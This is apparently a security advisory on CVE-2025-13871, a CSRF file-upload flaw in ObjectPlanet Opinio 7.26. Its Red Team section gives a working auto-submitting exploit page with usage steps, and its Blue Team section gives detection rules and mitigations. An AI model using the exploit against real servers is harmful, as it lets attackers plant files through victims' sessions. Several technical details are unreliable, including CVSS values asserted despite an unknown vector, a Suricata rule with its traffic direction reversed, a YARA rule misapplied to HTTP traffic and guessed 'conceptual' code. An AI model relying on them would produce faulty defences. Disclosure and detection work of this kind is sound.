CVE-2025-13871

Executive Summary

CVE-2025-13871 is a Cross-Site Request Forgery (CSRF) vulnerability in the resource-management feature of ObjectPlanet Opinio version 7.26 rev12562. This flaw allows an attacker to trick authenticated users into unknowingly uploading files to the Opinio server. Once uploaded, these files can be accessed without any authentication, leading to potential data exfiltration, malware distribution, or unauthorized content hosting. The vulnerability is currently unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for organizations using this specific version.

CVSS Breakdown & Threat Level

• CVSS Vector: UNKNOWN (No official vector provided)
• Base Score: 0.0 (as per NVD, likely placeholder)
• Attack Vector: Network (CSRF requires user interaction)
• Attack Complexity: Low
• Privileges Required: None (attacker only needs to lure an authenticated user)
• User Interaction: Required (victim must click a crafted link or visit a malicious page)
• Scope: Unchanged
• Confidentiality Impact: High (unauthorized file access)
• Integrity Impact: High (file upload on behalf of user)
• Availability Impact: None
• Threat Level: High (due to potential for file upload and unauthorized access)

Deep Dive & Mechanics

The vulnerability resides in the resource-management feature of ObjectPlanet Opinio. This feature likely handles file uploads for survey resources (e.g., images, documents). The CSRF flaw means that the upload endpoint does not validate the origin of the request using anti-CSRF tokens, SameSite cookies, or origin headers.

Attack Flow:

1. An attacker crafts a malicious HTML page or link that automatically submits a POST request to the Opinio resource upload endpoint.
2. The attacker lures an authenticated Opinio user (e.g., via phishing email or malicious ad) to visit the crafted page.
3. The victim's browser, having an active session with Opinio, sends the forged request along with session cookies.
4. The server processes the upload, storing the file on behalf of the victim.
5. The attacker then accesses the uploaded file directly via a predictable URL (e.g., /resource/<filename>), bypassing authentication.

The lack of authentication on the file access endpoint is a separate but related issue, making the attack more impactful.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. The vulnerable code likely lacks CSRF protection in the file upload handler.

Vulnerable Code (Conceptual PHP):

// upload.php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['resource'])) {
    $target_dir = "uploads/";
    $target_file = $target_dir . basename($_FILES["resource"]["name"]);
    move_uploaded_file($_FILES["resource"]["tmp_name"], $target_file);
    echo "File uploaded successfully.";
}

Patched Code (Conceptual):

// upload.php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['resource'])) {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die("CSRF token validation failed.");
    }
    $target_dir = "uploads/";
    $target_file = $target_dir . basename($_FILES["resource"]["name"]);
    move_uploaded_file($_FILES["resource"]["tmp_name"], $target_file);
    echo "File uploaded successfully.";
}

Additionally, the file access endpoint should require authentication:

// getfile.php
session_start();
if (!isset($_SESSION['user'])) {
    die("Authentication required.");
}
$file = $_GET['file'];
// Serve file

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running ObjectPlanet Opinio 7.26 rev12562
• An authenticated user session (victim)

Exploit HTML (csrf_exploit.html):

<!DOCTYPE html>
<html>
<body>
<form action="http://target-opinio/resource/upload" method="POST" enctype="multipart/form-data" id="csrfForm">
    <input type="file" name="resource" id="fileInput">
    <input type="submit" value="Submit">
</form>
<script>
    // Automatically submit the form with a malicious file
    var file = new File(["malicious content"], "evil.txt", {type: "text/plain"});
    var dt = new DataTransfer();
    dt.items.add(file);
    document.getElementById('fileInput').files = dt.files;
    document.getElementById('csrfForm').submit();
</script>
</body>
</html>

Usage:

1. Host the HTML on an attacker-controlled server.
2. Send the link to the victim (e.g., via email).
3. When the victim visits the page, the file evil.txt is uploaded to Opinio.
4. Access the file via http://target-opinio/resource/evil.txt.

Blue Team

Detection:

• Monitor for unusual file uploads from users who are not actively using the resource management feature.
• Check server logs for POST requests to /resource/upload with unexpected Referer headers.
• Look for direct access to uploaded files without prior authentication.

Prevention:

• Implement CSRF tokens on all state-changing endpoints.
• Enforce authentication on file access endpoints.
• Use SameSite cookies (Lax or Strict) to mitigate CSRF.
• Validate Origin and Referer headers on the server side.

Indicators of Compromise (IOCs)

• File Paths: /resource/upload (POST), /resource/<filename> (GET)
• Log Entries: POST requests to /resource/upload with Referer not matching the application domain.
• Network Traffic: HTTP requests with Content-Type: multipart/form-data to the upload endpoint from external domains.
• Uploaded Files: Unexpected files in the uploads directory, especially with suspicious names or content.

Detection Engineering

YARA Rule

rule CVE_2025_13871_CSRF_Upload {
    meta:
        description = "Detects CSRF-based file upload attempts to ObjectPlanet Opinio"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13871"
    strings:
        $upload_path = "/resource/upload"
        $multipart = "Content-Type: multipart/form-data"
        $referer = "Referer:"
    condition:
        $upload_path and $multipart and not $referer
}

Sigma Rule

title: CVE-2025-13871 CSRF File Upload Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential CSRF attacks targeting ObjectPlanet Opinio file upload
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/resource/upload"
    filter:
        cs-referer: "target-opinio.com"
    condition: selection and not filter
falsepositives:
    - Legitimate file uploads from within the application
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13871 CSRF File Upload to ObjectPlanet Opinio"; flow:to_server,established; content:"POST"; http_method; content:"/resource/upload"; http_uri; content:"multipart/form-data"; http_header; pcre:"/Referer:\s*(?!http:\/\/target-opinio)/Pi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the resource-management feature if not essential, or restrict access via firewall rules.
2. Implement CSRF protection manually by adding tokens to upload forms and validating them server-side.
3. Enforce authentication on all file access endpoints (e.g., /resource/*).
4. Apply SameSite cookie attribute to session cookies (set to Lax or Strict).

Long-term Fix:

• Contact ObjectPlanet for an official patch or upgrade to a newer version.
• Consider migrating to an alternative survey platform if no patch is forthcoming.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to /resource/upload with missing or invalid Referer headers.

Valters IT